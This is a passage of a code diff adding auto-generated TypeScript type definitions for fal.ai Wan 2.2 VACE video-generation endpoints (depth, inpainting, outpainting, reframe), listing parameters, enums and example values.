reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Temporal downsample factor for the video. This is an integer value that determines how many frames to skip in the video. A value of 0 means no downsampling. For each downsample factor, one upsample factor will automatically be applied. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + temporal_downsample_factor?: number + /** + * @description Number of frames to generate. Must be between 81 to 241 (inclusive). + * @minimum 17 + * @maximum 241 + * @default 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If true, also return a ZIP file containing all generated frames. + * @default false + * @example false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description Whether to preprocess the input video. + * @default false + * @example false + * @type boolean | undefined + */ + preprocess?: boolean + /** + * @description Number of frames to interpolate between the original frames. A value of 0 means no interpolation. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWan22VaceFunA14BDepthVideoQualityEnumKey +} + +export type FileC17Ce313 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type VideoFile3D18Fb36 = { + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the video + */ + height?: number | null +} + +export type OutputFalAiWan22VaceFunA14BDepth = { + /** + * @description ZIP archive of all video frames if requested. + */ + frames_zip?: FileC17Ce313 | null + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated depth video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-vace-depth-output.mp4"} + * @type object + */ + video: VideoFile3D18Fb36 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiWan22VaceFunA14BInpaintingResolutionEnum = { + auto: 'auto', + '240p': '240p', + '360p': '360p', + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWan22VaceFunA14BInpaintingResolutionEnumKey = + (typeof inputFalAiWan22VaceFunA14BInpaintingResolutionEnum)[keyof typeof inputFalAiWan22VaceFunA14BInpaintingResolutionEnum] + +export const inputFalAiWan22VaceFunA14BInpaintingVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWan22VaceFunA14BInpaintingVideoWriteModeEnumKey = + (typeof inputFalAiWan22VaceFunA14BInpaintingVideoWriteModeEnum)[keyof typeof inputFalAiWan22VaceFunA14BInpaintingVideoWriteModeEnum] + +export const inputFalAiWan22VaceFunA14BInpaintingTransparencyModeEnum = { + content_aware: 'content_aware', + white: 'white', + black: 'black', +} as const + +export type InputFalAiWan22VaceFunA14BInpaintingTransparencyModeEnumKey = + (typeof inputFalAiWan22VaceFunA14BInpaintingTransparencyModeEnum)[keyof typeof inputFalAiWan22VaceFunA14BInpaintingTransparencyModeEnum] + +export const inputFalAiWan22VaceFunA14BInpaintingAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '1:1': '1:1', + '9:16': '9:16', +} as const + +export type InputFalAiWan22VaceFunA14BInpaintingAspectRatioEnumKey = + (typeof inputFalAiWan22VaceFunA14BInpaintingAspectRatioEnum)[keyof typeof inputFalAiWan22VaceFunA14BInpaintingAspectRatioEnum] + +export const inputFalAiWan22VaceFunA14BInpaintingSamplerEnum = { + unipc: 'unipc', + 'dpm++': 'dpm++', + euler: 'euler', +} as const + +export type InputFalAiWan22VaceFunA14BInpaintingSamplerEnumKey = + (typeof inputFalAiWan22VaceFunA14BInpaintingSamplerEnum)[keyof typeof inputFalAiWan22VaceFunA14BInpaintingSamplerEnum] + +export const inputFalAiWan22VaceFunA14BInpaintingInterpolatorModelEnum = { + rife: 'rife', + film: 'film', +} as const + +export type InputFalAiWan22VaceFunA14BInpaintingInterpolatorModelEnumKey = + (typeof inputFalAiWan22VaceFunA14BInpaintingInterpolatorModelEnum)[keyof typeof inputFalAiWan22VaceFunA14BInpaintingInterpolatorModelEnum] + +export const inputFalAiWan22VaceFunA14BInpaintingAcceleration = { + none: 'none', + low: 'low', + regular: 'regular', +} as const + +export type InputFalAiWan22VaceFunA14BInpaintingAccelerationKey = + (typeof inputFalAiWan22VaceFunA14BInpaintingAcceleration)[keyof typeof inputFalAiWan22VaceFunA14BInpaintingAcceleration] + +export const inputFalAiWan22VaceFunA14BInpaintingVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWan22VaceFunA14BInpaintingVideoQualityEnumKey = + (typeof inputFalAiWan22VaceFunA14BInpaintingVideoQualityEnum)[keyof typeof inputFalAiWan22VaceFunA14BInpaintingVideoQualityEnum] + +export type InputFalAiWan22VaceFunA14BInpainting = { + /** + * @description The text prompt to guide video generation. + * @example The video shows a man riding a horse on a vast grassland. He has long lavender hair and wears a traditional dress of a white top and black pants. The animation style makes him look like he is doing some kind of outdoor activity or performing. The background is a spectacular mountain range and cloud sky, giving a sense of tranquility and vastness. The entire video is shot from a fixed angle, focusing on the rider and his horse. + * @type string + */ + prompt: string + /** + * @description Urls to source reference image. If provided, the model will use this image as reference. + * @example ["https://storage.googleapis.com/falserverless/vace/src_ref_image_1.png"] + * @type array | undefined + */ + ref_image_urls?: string[] + /** + * @description If true, the frames per second of the generated video will match the input video. If false, the frames per second will be determined by the frames_per_second parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_frames_per_second?: boolean + /** + * @description Negative prompt for video generation. + * @default 'letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL to the source video file. Required for inpainting. + * @example https://storage.googleapis.com/falserverless/vace/src_video.mp4 + * @type string + */ + video_url: string + /** + * @description If true, the model will automatically temporally downsample the video to an appropriate frame length for the model, then will interpolate it back to the original frame length. + * @default false + * @example false + * @type boolean | undefined + */ + enable_auto_downsample?: boolean + /** + * @description URL to the first frame of the video. If provided, the model will use this frame as a reference. + */ + first_frame_url?: string | null + /** + * @description Resolution of the generated video. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputFalAiWan22VaceFunA14BInpaintingResolutionEnumKey + /** + * @description If true, the number of frames in the generated video will match the number of frames in the input video. If false, the number of frames will be determined by the num_frames parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_num_frames?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWan22VaceFunA14BInpaintingVideoWriteModeEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL to the last frame of the video. If provided, the model will use this frame as a reference. + */ + last_frame_url?: string | null + /** + * @description The minimum frames per second to downsample the video to. This is used to help determine the auto downsample factor to try and find the lowest detail-preserving downsample factor. The default value is appropriate for most videos, if you are using a video with very fast motion, you may need to increase this value. If your video has a very low amount of motion, you could decrease this value to allow for higher downsampling and thus longer sequences. + * @minimum 1 + * @maximum 60 + * @default 15 + * @example 15 + * @type number | undefined + */ + auto_downsample_min_fps?: number + /** + * @description URL to the guiding mask file. If provided, the model will use this mask as a reference to create masked video using salient mask tracking. Will be ignored if mask_video_url is provided. + */ + mask_image_url?: string | null + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The transparency mode to apply to the first and last frames. This controls how the transparent areas of the first and last frames are filled. + * @default 'content_aware' + * @example content_aware + * @type string | undefined + */ + transparency_mode?: InputFalAiWan22VaceFunA14BInpaintingTransparencyModeEnumKey + /** + * @description Aspect ratio of the generated video. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWan22VaceFunA14BInpaintingAspectRatioEnumKey + /** + * @description Guidance scale for classifier-free guidance. Higher values encourage the model to generate images closely related to the text prompt. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Sampler to use for video generation. + * @default 'unipc' + * @example unipc + * @type string | undefined + */ + sampler?: InputFalAiWan22VaceFunA14BInpaintingSamplerEnumKey + /** + * @description URL to the source mask file. Required for inpainting. + * @example https://storage.googleapis.com/falserverless/vace/src_mask.mp4 + */ + mask_video_url?: string | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @example false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Frames per second of the generated video. Must be between 5 to 30. Ignored if match_input_frames_per_second is true. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description The model to use for frame interpolation. Options are 'rife' or 'film'. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWan22VaceFunA14BInpaintingInterpolatorModelEnumKey + /** + * @description Acceleration to use for inference. Options are 'none' or 'regular'. Accelerated inference will very slightly affect output, but will be significantly faster. + * @default regular + * @example regular + */ + acceleration?: InputFalAiWan22VaceFunA14BInpaintingAccelerationKey | null + /** + * @description Temporal downsample factor for the video. This is an integer value that determines how many frames to skip in the video. A value of 0 means no downsampling. For each downsample factor, one upsample factor will automatically be applied. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + temporal_downsample_factor?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Number of frames to generate. Must be between 81 to 241 (inclusive). + * @minimum 17 + * @maximum 241 + * @default 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If true, also return a ZIP file containing all generated frames. + * @default false + * @example false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description Whether to preprocess the input video. + * @default false + * @example false + * @type boolean | undefined + */ + preprocess?: boolean + /** + * @description Number of frames to interpolate between the original frames. A value of 0 means no interpolation. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWan22VaceFunA14BInpaintingVideoQualityEnumKey +} + +export type File5Cfb7F37 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type VideoFileDae9D25C = { + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the video + */ + height?: number | null +} + +export type OutputFalAiWan22VaceFunA14BInpainting = { + /** + * @description ZIP archive of all video frames if requested. + */ + frames_zip?: File5Cfb7F37 | null + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated inpainting video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-vace-inpainting-output.mp4"} + * @type object + */ + video: VideoFileDae9D25C + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiWan22VaceFunA14BOutpaintingResolutionEnum = { + auto: 'auto', + '240p': '240p', + '360p': '360p', + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWan22VaceFunA14BOutpaintingResolutionEnumKey = + (typeof inputFalAiWan22VaceFunA14BOutpaintingResolutionEnum)[keyof typeof inputFalAiWan22VaceFunA14BOutpaintingResolutionEnum] + +export const inputFalAiWan22VaceFunA14BOutpaintingVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWan22VaceFunA14BOutpaintingVideoWriteModeEnumKey = + (typeof inputFalAiWan22VaceFunA14BOutpaintingVideoWriteModeEnum)[keyof typeof inputFalAiWan22VaceFunA14BOutpaintingVideoWriteModeEnum] + +export const inputFalAiWan22VaceFunA14BOutpaintingTransparencyModeEnum = { + content_aware: 'content_aware', + white: 'white', + black: 'black', +} as const + +export type InputFalAiWan22VaceFunA14BOutpaintingTransparencyModeEnumKey = + (typeof inputFalAiWan22VaceFunA14BOutpaintingTransparencyModeEnum)[keyof typeof inputFalAiWan22VaceFunA14BOutpaintingTransparencyModeEnum] + +export const inputFalAiWan22VaceFunA14BOutpaintingAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '1:1': '1:1', + '9:16': '9:16', +} as const + +export type InputFalAiWan22VaceFunA14BOutpaintingAspectRatioEnumKey = + (typeof inputFalAiWan22VaceFunA14BOutpaintingAspectRatioEnum)[keyof typeof inputFalAiWan22VaceFunA14BOutpaintingAspectRatioEnum] + +export const inputFalAiWan22VaceFunA14BOutpaintingSamplerEnum = { + unipc: 'unipc', + 'dpm++': 'dpm++', + euler: 'euler', +} as const + +export type InputFalAiWan22VaceFunA14BOutpaintingSamplerEnumKey = + (typeof inputFalAiWan22VaceFunA14BOutpaintingSamplerEnum)[keyof typeof inputFalAiWan22VaceFunA14BOutpaintingSamplerEnum] + +export const inputFalAiWan22VaceFunA14BOutpaintingInterpolatorModelEnum = { + rife: 'rife', + film: 'film', +} as const + +export type InputFalAiWan22VaceFunA14BOutpaintingInterpolatorModelEnumKey = + (typeof inputFalAiWan22VaceFunA14BOutpaintingInterpolatorModelEnum)[keyof typeof inputFalAiWan22VaceFunA14BOutpaintingInterpolatorModelEnum] + +export const inputFalAiWan22VaceFunA14BOutpaintingAcceleration = { + none: 'none', + low: 'low', + regular: 'regular', +} as const + +export type InputFalAiWan22VaceFunA14BOutpaintingAccelerationKey = + (typeof inputFalAiWan22VaceFunA14BOutpaintingAcceleration)[keyof typeof inputFalAiWan22VaceFunA14BOutpaintingAcceleration] + +export const inputFalAiWan22VaceFunA14BOutpaintingVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWan22VaceFunA14BOutpaintingVideoQualityEnumKey = + (typeof inputFalAiWan22VaceFunA14BOutpaintingVideoQualityEnum)[keyof typeof inputFalAiWan22VaceFunA14BOutpaintingVideoQualityEnum] + +export type InputFalAiWan22VaceFunA14BOutpainting = { + /** + * @description URLs to source reference image. If provided, the model will use this image as reference. + * @type array | undefined + */ + ref_image_urls?: string[] + /** + * @description If true, the frames per second of the generated video will match the input video. If false, the frames per second will be determined by the frames_per_second parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_frames_per_second?: boolean + /** + * @description Negative prompt for video generation. + * @default 'letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL to the source video file. Required for outpainting. + * @example https://storage.googleapis.com/falserverless/web-examples/wan/t2v.mp4 + * @type string + */ + video_url: string + /** + * @description If true, the model will automatically temporally downsample the video to an appropriate frame length for the model, then will interpolate it back to the original frame length. + * @default false + * @example false + * @type boolean | undefined + */ + enable_auto_downsample?: boolean + /** + * @description Resolution of the generated video. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputFalAiWan22VaceFunA14BOutpaintingResolutionEnumKey + /** + * @description URL to the first frame of the video. If provided, the model will use this frame as a reference. + */ + first_frame_url?: string | null + /** + * @description If true, the number of frames in the generated video will match the number of frames in the input video. If false, the number of frames will be determined by the num_frames parameter. + * @default false + * @example false + * @type boolean | undefined + */ + match_input_num_frames?: boolean + /** + * @description Whether to expand the video to the left. + * @default false + * @example true + * @type boolean | undefined + */ + expand_left?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWan22VaceFunA14BOutpaintingVideoWriteModeEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL to the last frame of the video. If provided, the model will use this frame as a reference. + */ + last_frame_url?: string | null + /** + * @description The minimum frames per second to downsample the video to. This is used to help determine the auto downsample factor to try and find the lowest detail-preserving downsample factor. The default value is appropriate for most videos, if you are using a video with very fast motion, you may need to increase this value. If your video has a very low amount of motion, you could decrease this value to allow for higher downsampling and thus longer sequences. + * @minimum 1 + * @maximum 60 + * @default 15 + * @example 15 + * @type number | undefined + */ + auto_downsample_min_fps?: number + /** + * @description Whether to enable prompt expansion. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Shift parameter for video generation. + * @minimum 1 + * @maximum 15 + * @default 5 + * @type number | undefined + */ + shift?: number + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to expand the video to the top. + * @default false + * @example true + * @type boolean | undefined + */ + expand_top?: boolean + /** + * @description The transparency mode to apply to the first and last frames. This controls how the transparent areas of the first and last frames are filled. + * @default 'content_aware' + * @example content_aware + * @type string | undefined + */ + transparency_mode?: InputFalAiWan22VaceFunA14BOutpaintingTransparencyModeEnumKey + /** + * @description Aspect ratio of the generated video. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWan22VaceFunA14BOutpaintingAspectRatioEnumKey + /** + * @description Guidance scale for classifier-free guidance. Higher values encourage the model to generate images closely related to the text prompt. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Frames per second of the generated video. Must be between 5 to 30. Ignored if match_input_frames_per_second is true. + * @default 16 + */ + frames_per_second?: number | null + /** + * @description Sampler to use for video generation. + * @default 'unipc' + * @example unipc + * @type string | undefined + */ + sampler?: InputFalAiWan22VaceFunA14BOutpaintingSamplerEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @example false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Whether to expand the video to the bottom. + * @default false + * @example true + * @type boolean | undefined + */ + expand_bottom?: boolean + /** + * @description Whether to expand the video to the right. + * @default false + * @example true + * @type boolean | undefined + */ + expand_right?: boolean + /** + * @description The model to use for frame interpolation. Options are 'rife' or 'film'. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWan22VaceFunA14BOutpaintingInterpolatorModelEnumKey + /** + * @description Acceleration to use for inference. Options are 'none' or 'regular'. Accelerated inference will very slightly affect output, but will be significantly faster. + * @default regular + * @example regular + */ + acceleration?: InputFalAiWan22VaceFunA14BOutpaintingAccelerationKey | null + /** + * @description Temporal downsample factor for the video. This is an integer value that determines how many frames to skip in the video. A value of 0 means no downsampling. For each downsample factor, one upsample factor will automatically be applied. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + temporal_downsample_factor?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Amount of expansion. This is a float value between 0 and 1, where 0.25 adds 25% to the original video size on the specified sides. + * @minimum 0 + * @maximum 1 + * @default 0.25 + * @example 0.25 + * @type number | undefined + */ + expand_ratio?: number + /** + * @description Number of frames to generate. Must be between 81 to 241 (inclusive). + * @minimum 17 + * @maximum 241 + * @default 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If true, also return a ZIP file containing all generated frames. + * @default false + * @example false + * @type boolean | undefined + */ + return_frames_zip?: boolean + /** + * @description The text prompt to guide video generation. + * @example A lone woman strides through the neon-drenched streets of Tokyo at night. Her crimson dress, a vibrant splash of color against the deep blues and blacks of the cityscape, flows slightly with each step. A tailored black jacket, crisp and elegant, contrasts sharply with the dress's rich texture. Medium shot: The city hums around her, blurred lights creating streaks of color in the background. Close-up: The fabric of her dress catches the streetlight's glow, revealing a subtle silk sheen and the intricate stitching at the hem. Her black jacket’s subtle texture is visible – a fine wool perhaps, with a matte finish. The overall mood is one of quiet confidence and mystery, a vibrant woman navigating a bustling, nocturnal landscape. High resolution 4k. + * @type string + */ + prompt: string + /** + * @description Number of frames to interpolate between the original frames. A value of 0 means no interpolation. + * @minimum 0 + * @maximum 5 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWan22VaceFunA14BOutpaintingVideoQualityEnumKey +} + +export type File4807B47E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type VideoFile1069F247 = { + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the video + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the video + */ + height?: number | null +} + +export type OutputFalAiWan22VaceFunA14BOutpainting = { + /** + * @description ZIP archive of all video frames if requested. + */ + frames_zip?: File4807B47E | null + /** + * @description The prompt used for generation. + * @type string + */ + prompt: string + /** + * @description The generated outpainting video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/wan-vace-outpainting-output.mp4"} + * @type object + */ + video: VideoFile1069F247 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiWan22VaceFunA14BReframeResolutionEnum = { + auto: 'auto', + '240p': '240p', + '360p': '360p', + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWan22VaceFunA14BReframeResolutionEnumKey = + (typeof inputFalAiWan22VaceFunA14BReframeResolutionEnum)[keyof typeof inputFalAiWan22VaceFunA14BReframeResolutionEnum] + +export const inputFalAiWan22VaceFunA14BReframeVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWan22VaceFunA14BReframeVideoWriteModeEnumKey = + (typeof inputFalAiWan22VaceFunA14BReframeVideoWriteModeEnum)[keyof typeof inputFalAiWan22VaceFunA14BReframeVideoWriteModeEnum] + +export const inputFalAiWan22VaceFunA14BReframeAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '1:1': '1:1', + '9:16': '9:16', +} as const + +export type InputFalAiWan22VaceFunA14BReframeAspectRatioEnumKey = + (typeof inputFalAiWan22VaceFunA14BReframeAspectRatioEnum)[keyof typeof inputFalAiWan22VaceFunA14BReframeAspectRatioEnum] + +export const inputFalAiWan22VaceFunA14BReframeTransparencyModeEnum = { + content_aware: 'content_aware', + white: 'white', + black: 'black', +} as const + +export type InputFalAiWan22VaceFunA14BReframeTransparencyModeEnumKey = + (typeof inputFalAiWan22VaceFunA14BReframeTransparencyModeEnum)[keyof typeof inputFalAiWan22VaceFunA14BReframeTransparencyModeEnum] + +export const inputFalAiWan22VaceFunA14BReframeSamplerEnum = { + unipc: 'unipc', + 'dpm++': 'dpm++', + euler: 'euler', +} as const + +export type InputFalAiWan22VaceFunA14BReframeSamplerEnumKey = + (typeof inputFalAiWan22VaceFunA14BReframeSamplerEnum)[keyof typeof inputFalAiWan22VaceFunA14BReframeSamplerEnum] + +export const inputFalAiWan22VaceFunA14BReframeInterpolatorModelEnum = { + rife: 'rife', + film: 'film', +} as const + +export type InputFalAiWan22VaceFunA14BReframeInterpolatorModelEnumKey = + (typeof inputFalAiWan22VaceFunA14BReframeInterpolatorModelEnum)[keyof typeof inputFalAiWan22VaceFunA14BReframeInterpolatorModelEnum] + +export const inputFalAiWan22VaceFunA14BReframeAcceleration = { + none: 'none', + low: 'low', + regular: 'regular', +} as const + +export type InputFalAiWan22VaceFunA14BReframeAccelerationKey = + (typeof inputFalAiWan22VaceFunA14BReframeAcceleration)[keyof typeof inputFalAiWan22VaceFunA14BReframeAcceleration] + +export const inputFalAiWan22VaceFunA14BReframeVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWan22VaceFunA14BReframeVideoQualityEnumKey = + (typeof inputFalAiWan22VaceFunA14BReframeVideoQualityEnum)[keyof typeof inputFalAiWan22VaceFunA14BReframeVideoQualityEnum] + +export type InputFalAiWan22VaceFunA14BReframe = { + /** + * @description Zoom factor for the video. When this value is greater than 0, the video will be zoomed in by this factor (in relation to the canvas size,) cutting off the edges of the video. A value of 0 means no zoom. + * @minimum 0 + * @maximum 0.9 + * @default 0 + * @example 0 + * @type number | undefined + */ + zoom_factor?: number + /** + * @description If true, the frames per second of the generated video will match the input video. If false, the frames per second will be determined by the frames_per_second parameter. + * @default true + * @example true + * @type boolean | undefined + */ + match_input_frames_per_second?: boolean + /** + * @description Negative prompt for video generation. + * @default 'letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards' + * @example letterboxing, borders, black bars, bright colors, overexposed, static, blurred details, subtitles, style, artwork, painting, picture, still, overall gray, worst quality, low quality, JPEG compression residue, ugly, incomplete, extra fingers, poorly drawn hands, poorly drawn faces, deformed, disfigured, malformed limbs, fused fingers, still picture, cluttered background, three legs, many people in the background, walking backwards + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL to the source video file. This video will be used as a reference for the reframe task. + * @example https://storage.googleapis.com/falserverless/web-examples/wan/t2v.mp4 + * @type string + */ + video_url: string + /** + * @description If true, the model will automatically temporally downsample the video to an appropriate frame length for the model, then will interpolate it back to the original frame length. + * @default false + * @example false + * @type boolean | undefined + */ + enable_auto_downsample?: boolean + /** + * @description URL to the first frame of the video. If provided, the model will use this frame as a reference. + */ + first_frame_url?: string | null + /** + * @description Resolution of the generated video. + * @default 'auto' + * @type string | undefined + */ + resolution?: InputFalAiWan22VaceFunA14BReframeResolutionEnumKey + /** + * @description If true, the number of frames in the generated video will match the number of frames in the input video. If false, the number of frames will be determined by the num_frames parameter. + * @default true + * @example true + * @type boolean | undefined + */ + match_input_num_frames?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWan22VaceFunA14BReframeVideoWriteModeEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL to the last frame of the video. If provided, the model will use this frame as a reference. + */ + last_frame_url?: string | null + /** + * @description Whether to trim borders from the video. + * @default true + * @example true + * @type boolean | undefined + */ + trim_borders?: boolean + /** + * @description The minimum frames per second to downsample the video to. This is used to help determine the auto downsample factor to try and find the lowest detail-preserving downsample factor. The default value is appropriate for most videos, if you are using a video with very fast motion, you may need to increase this value. If your video has a very low amount of motion, you could decrease this value to allow for higher downsampling and thus longer 